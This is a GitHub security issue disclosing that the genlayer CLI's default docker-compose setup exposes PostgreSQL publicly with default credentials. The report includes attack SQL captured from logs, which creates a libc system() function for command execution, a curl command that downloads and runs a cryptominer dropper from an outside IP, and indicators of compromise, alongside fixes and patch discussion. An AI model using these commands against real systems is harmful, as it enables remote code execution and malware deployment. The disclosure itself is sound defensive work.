Skip to content

[CRITICAL] PostgreSQL Port Exposed to Public Internet Allows RCE and Cryptominer Deployment 🔴 #1603

Open

Description

@keeneyedesign

[CRITICAL] PostgreSQL Port Exposed to Public Internet Allows RCE and Cryptominer Deployment

Summary

The default docker-compose.yml configuration shipped with the genlayer CLI binds the PostgreSQL port (5432) to 0.0.0.0 (all network interfaces), making the database directly accessible from the public internet. Because the default credentials are postgres:postgres, an unauthenticated remote attacker can connect to the database and escalate to full Remote Code Execution via PostgreSQL's CREATE FUNCTION mechanism using libc.so.6. This was exploited in a real attack that deployed a cryptominer within minutes of the node going online.


Severity

Field Value
Severity 🔴 Critical
CVSS v3.1 Score 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWE CWE-1188: Insecure Default Initialization, CWE-284: Improper Access Control
Attack Vector Network, no authentication required

Affected Versions

  • genlayer CLI: v0.65.0 (confirmed) — likely all prior versions
  • docker-compose.yml image: postgres:17-alpine
  • Deployment method: genlayer init on any Linux host with a public IP

Vulnerability Details

Root Cause

In /docker-compose.yml, the postgres service port mapping is:

ports:
  - "${DBPORT:-5432}:5432"

Without an explicit bind address, Docker maps this to 0.0.0.0:5432, exposing PostgreSQL to all interfaces, including the public internet. Combined with the default credentials (DBPASSWORD=postgres), any remote host can authenticate as a superuser.

Default Credentials

# .env defaults
DBUSER=postgres
DBPASSWORD=postgres
DBNAME=genlayer_state

These defaults are used verbatim unless the user explicitly changes them — there is no prompt or warning during genlayer init.


Attack Vector — Step by Step

[Attacker] ──── TCP:5432 ──▶ [0.0.0.0:5432 public IP] ──▶ [Docker postgres container]
                                                                        │
                              psql -h <server> -U postgres              │
                              Password: postgres  ◀── default creds ───┘
                                        │
                    ┌───────────────────▼────────────────────────────┐
                    │  CREATE FUNCTION system() AS libc.so.6 → RCE  │
                    └───────────────────┬────────────────────────────┘
                                        │
                              Download bot from 181.214.147.108
                                        │
                              Execute cryptominer /tmp/mysql (XMRig)
                                        │
                              Watchdog /tmp/init ensures persistence

Proof of Concept

The following SQL commands were captured in PostgreSQL logs during the attack. Do not execute on production systems.

-- Step 1: Create a shell execution function by mapping to libc
-- (attacker tried two libc paths for Alpine/Debian compatibility)
CREATE OR REPLACE FUNCTION system(cstring)
  RETURNS int
  AS '/lib/x86_64-linux-gnu/libc.so.6', 'system'
  LANGUAGE 'c' STRICT;

-- Step 2: Execute a base64-encoded bash dropper
SELECT system('echo <base64_payload> | base64 -d | bash');

The decoded bash payload performed three actions:

  1. Killed competing malware — iterated /proc/*/exe and sent kill -9 to known rival miners (kinsing, kdevtmpfsi, pg_mem, etc.)
  2. Checked for self — exited if /tmp/init already existed (idempotent install)
  3. Downloaded and executed dropper:
__curl http://181.214.147.108/bot > /tmp/bot && chmod +x /tmp/bot && cd /tmp; ./bot database1;

The dropper installed:

  • /tmp/mysql — UPX-packed XMRig cryptominer (loaded into memfd to evade disk detection)
  • /tmp/init — watchdog process that relaunches the miner if killed

Observed Impact

Indicator Value
Miner process /tmp/mysql (masquerading as MySQL)
Execution method memfd:upx (fileless, in-memory)
CPU consumption 1173% (all available cores)
RAM consumption 2.4 GB
Mining pool #1 5.255.106.100:44999
Mining pool #2 5.255.115.190:48996
C2 / dropper host 181.214.147.108
Persistence /tmp/init watchdog (PID 390732) auto-restarts miner
Time to compromise < 30 minutes after genlayer init

What an attacker can do:

  • Execute arbitrary OS commands as the postgres user inside the container
  • Read/write/delete all application data in the database
  • Use the container as a pivot point to attack other services on the Docker network (e.g., genlayer-jsonrpc-1, genlayer-hardhat-1)
  • Deploy persistent malware with a watchdog process
  • Exfiltrate secrets from environment variables (e.g., OPENAIKEY, ANTHROPIC_API_KEY, GEMINI_API_KEY, HARDHAT_PRIVATE_KEY)

Recommended Fix

1. Bind PostgreSQL to localhost only (primary fix)

Change the port mapping in docker-compose.yml:

# BEFORE (vulnerable)
ports:
  - "${DBPORT:-5432}:5432"

# AFTER (safe)
ports:
  - "127.0.0.1:${DBPORT:-5432}:5432"

2. Force strong password during genlayer init

The CLI should generate a random password on first run and write it to .env, rather than shipping postgres as the default:

# Example: generate during init
import secrets
db_password = secrets.token_urlsafe(24)

3. Restrict PostgreSQL pg_hba.conf inside the container

Even if the port is exposed, add an additional layer by restricting connections to trusted networks only:

# pg_hba.conf
host  all  all  172.16.0.0/12  scram-sha-256   # Docker internal only
host  all  all  0.0.0.0/0      reject

4. Warn users during init if port will be publicly exposed

The CLI could detect whether the host has a public IP and warn accordingly:

⚠ WARNING: Port 5432 will be bound to 0.0.0.0.
  Your PostgreSQL instance will be accessible from the internet.
  Please ensure your firewall blocks external access to this port.

5. Add security notice to documentation

The README / quickstart guide should prominently warn that running on a VPS or cloud instance requires firewall rules blocking port 5432.


Timeline

Time (UTC) Event
2026-04-20 ~16:33 genlayer init executed; genlayer-postgres-1 container started
2026-04-20 17:02:33 Attack SQL logged by PostgreSQL — CREATE FUNCTION system() executed
2026-04-20 17:02:33 Dropper downloaded from 181.214.147.108/bot
2026-04-20 17:02 /tmp/mysql (XMRig) and /tmp/init (watchdog) deployed
2026-04-20 17:02–17:09 Miner running: 1173% CPU, 2.4 GB RAM consumed
2026-04-20 17:09 Miner and watchdog killed; container destroyed
2026-04-20 17:09 docker-compose.yml patched: 127.0.0.1:5432 binding applied
2026-04-20 17:11 Clean container restarted with strong random password

Environment

  • OS: Ubuntu 22.04 LTS (Linux 5.15.0)
  • Docker: running in default bridge network mode
  • Host type: VPS with public IPv4
  • genlayer CLI version: v0.65.0
  • PostgreSQL: 17.9-alpine

References


Reported by a GenLayer node operator[keeneye]. Happy to provide additional logs, packet captures, or assist with testing a fix.

Activity

  1. keeneyedesign commented on Apr 20, 2026

    @keeneyedesign
    Author

    Additional finding: The genlayer init CLI installs
    GenLayer Studio — a tool explicitly described as
    "local environment only" and "sandbox for developers".

    However, the validator node documentation directs
    users to run this same command on public VPS servers,
    creating an inherent security mismatch.

  2. HusseinAdeiza commented on Sep 28, 2026

    @HusseinAdeiza
    Contributor

    Taking this one.

    Confirmed on v0.40-dev, docker-compose.yml:106:

      postgres:
        image: postgres:17-alpine
        ports:
          - "${DBPORT:-5432}:5432"

    No host IP, so Docker publishes on 0.0.0.0, and .env.example ships DBUSER=postgres / DBPASSWORD=postgres as the defaults. Anyone running genlayer init on a host with a public IP gets a superuser-reachable Postgres.

    One thing worth noting: genlayer-studio has the same line at v0.123-dev:278 ("${DBHOSTPORT:-5432}:5432"), so this is two repos with the same default. I'll fix the CLI first since that's the one the report is scoped to, and the studio change is a separate PR.

  3. HusseinAdeiza commented on Sep 28, 2026

    @HusseinAdeiza
    Contributor

    Correction to the above: the genlayer-studio half of this is already covered by PR #1715 (fix(security): bind postgres to loopback), open against v0.123-dev, same line, same 127.0.0.1: change plus a test. So no second studio PR needed.

    That leaves the CLI, where nothing exists: PR #423 against v0.40-dev, adding tests/docker-compose-ports.test.ts to keep the binding from regressing.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions